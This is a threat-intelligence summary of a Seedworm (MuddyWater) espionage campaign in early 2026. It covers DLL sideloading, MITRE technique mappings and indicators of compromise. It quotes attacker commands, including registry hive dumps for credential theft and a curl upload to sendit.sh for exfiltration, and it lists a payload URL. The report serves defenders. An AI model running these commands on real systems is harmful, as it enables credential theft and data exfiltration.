Seedworm targeted at least nine organizations across four continents in early 2026, using signed DLL sideloading, Node.js-orchestrated PowerShell, and multiple credential theft tools to support espionage operations. The campaign also used public services and staging infrastructure such as sendit[.]sh and timetrakr[.]cloud while repeatedly focusing on intelligence-rich victims including a South Korean electronics manufacturer, government agencies, and financial and educational institutions. #Seedworm #MuddyWater #SentinelOne #Fortemedia #senditsh #timetrakrcloud
Keypoints
- Seedworm, also known as MuddyWater, Temp Zagros, and Static Kitten, ran a broad espionage campaign in Q1 2026.
- At least nine organizations in nine countries across four continents were affected, spanning industry, public sector, finance, and education.
- The attackers abused legitimately signed Fortemedia fmapp.exe and SentinelOne sentinelmemoryscanner.exe binaries for DLL sideloading.
- Node.exe appeared to orchestrate the activity, including PowerShell execution, reconnaissance, screenshot capture, and payload delivery.
- The operators used multiple credential theft and privilege escalation tools, including SAM hive theft and a TGT extraction technique.
- Stolen data was staged and exfiltrated through public services such as sendit[.]sh instead of fully dedicated infrastructure.
- The campaign showed a more disciplined tradecraft pattern, mixing persistent beaconing, redundant tooling, and consumer cloud-like services.
MITRE Techniques
- [T1574.002] Hijack Execution Flow: DLL Side-Loading â Legitimately signed executables were used to load malicious DLLs and run attacker code (âabused to sideload a malicious DLLâ).
- [T1059.001] Command and Scripting Interpreter: PowerShell â PowerShell was used for reconnaissance, screenshot capture, payload retrieval, and repeated host checks (âPowerShell-based reconnaissance commandsâ).
- [T1059.006] Command and Scripting Interpreter: JavaScript â Node.js scripts orchestrated multiple stages of the intrusion and drove the loader chain (âsuggesting that the sideloading was orchestrated by a Node.js scriptâ).
- [T1027] Obfuscated Files or Information â Encoded blobs and randomly named directories were used to stage payloads and hide activity (âa.dat is believed to be an encoded payloadâ).
- [T1119] Automated Collection â A script appears to have captured screenshots from the victim host (âappears to have captured a screenshot of the userâs primary displayâ).
- [T1082] System Information Discovery â The attackers enumerated host details, users, groups, and network settings (âwhoami /allâ, âhostnameâ, âipconfig /allâ).
- [T1087.002] Account Discovery: Domain Account â Domain users and groups were enumerated to map the environment (ânet user /domainâ, ânet group [REMOVED] /domainâ).
- [T1518.001] Software Discovery: Security Software Discovery â WMI was used to identify installed antivirus products (âenumerate antivirus products registered with the Security Centerâ).
- [T1110] Brute Force â Not observed directly; credential acquisition was instead performed through prompts and hive theft, so no direct brute-force use is supported.
- [T1003.004] OS Credential Dumping: LSA Secrets â The attackers saved SECURITY and SYSTEM hives to extract cached secrets and credentials (âreg save hklmsecurity âŚâ, âreg save hklmsystem âŚâ).
- [T1003.002] OS Credential Dumping: Security Account Manager â The SAM hive was saved for offline hash extraction (âreg save hklmsam C:WindowsTempsam.saveâ).
- [T1003.001] OS Credential Dumping: LSASS Memory â The activity aimed to obtain elevated credentials and likely reach LSASS (âseeking SYSTEM privileges in order to reach LSASSâ).
- [T1056.002] Input Capture: GUI Input Capture â A credential harvester invoked the Windows credentials prompt to capture entered passwords (âcalls CredUIPromptForWindowsCredentialsWâ).
- [T1068] Exploitation for Privilege Escalation â A dedicated tool attempted privilege escalation by abusing Kerberos/GSS-API delegation (âautomates Kerberos Ticket Granting Ticket extractionâ).
- [T1550.003] Use Alternate Authentication Material: Pass the Ticket â A TGT was extracted from a high-privilege user for later use (âobtain a usable TGT from a high-privilege userâ).
- [T1090.001] Proxy: Internal Proxy â SOCKS5 reverse-proxy tunnelling was used to relay traffic through the victim host (âSOCKS5 reverse-proxy tunnellingâ).
- [T1219] Remote Access Software â The attackers relied on public file-transfer and staging services to move data (âstaged stolen data through sendit[.]shâ).
- [T1041] Exfiltration Over C2 Channel â Stolen data was transferred out via HTTPS to a public file-transfer service (âcurl.exe -F âfile=@C:WindowsTempâ https://sendit.shâ).
- [T1105] Ingress Tool Transfer â Additional scripts and payloads were downloaded from attacker-controlled infrastructure (âpulling a PowerShell payload from an attacker-controlled staging serverâ).
Indicators of Compromise
- [File hashes] Malicious binaries and tools used for sideloading, credential theft, and privilege escalation â e25892603c42e34bd7ba0d8ea73be600d898cadc290e3417a82c04d6281b743b, c6182fd01b14d84723e3c9d11bc0e16b34de6607ccb8334fc9bb97c1b44f0cde, and other 6 hashes
- [IP addresses] Attacker staging servers and related network infrastructure â 179.43.177[.]220, 178.128.233[.]36, and other 4 IPs
- [Domains] Attacker-controlled or abused services used for staging and exfiltration â timetrakr[.]cloud, sendit[.]sh, and svc.wompworthy[.]com
- [URLs] Payload and reconnaissance endpoints contacted by the implant â http://179.43.177[.]220:8080/nm.ps1, http://ipinfo[.]io/json, and other 3 URLs
- [File names] Dropped and sideloaded components used in the intrusion â fmapp.exe, fmapp.dll, sentinelmemoryscanner.exe, and sentinelagentcore.dll
Read more: https://www.security.com/threat-intelligence/iran-seedworm-electronics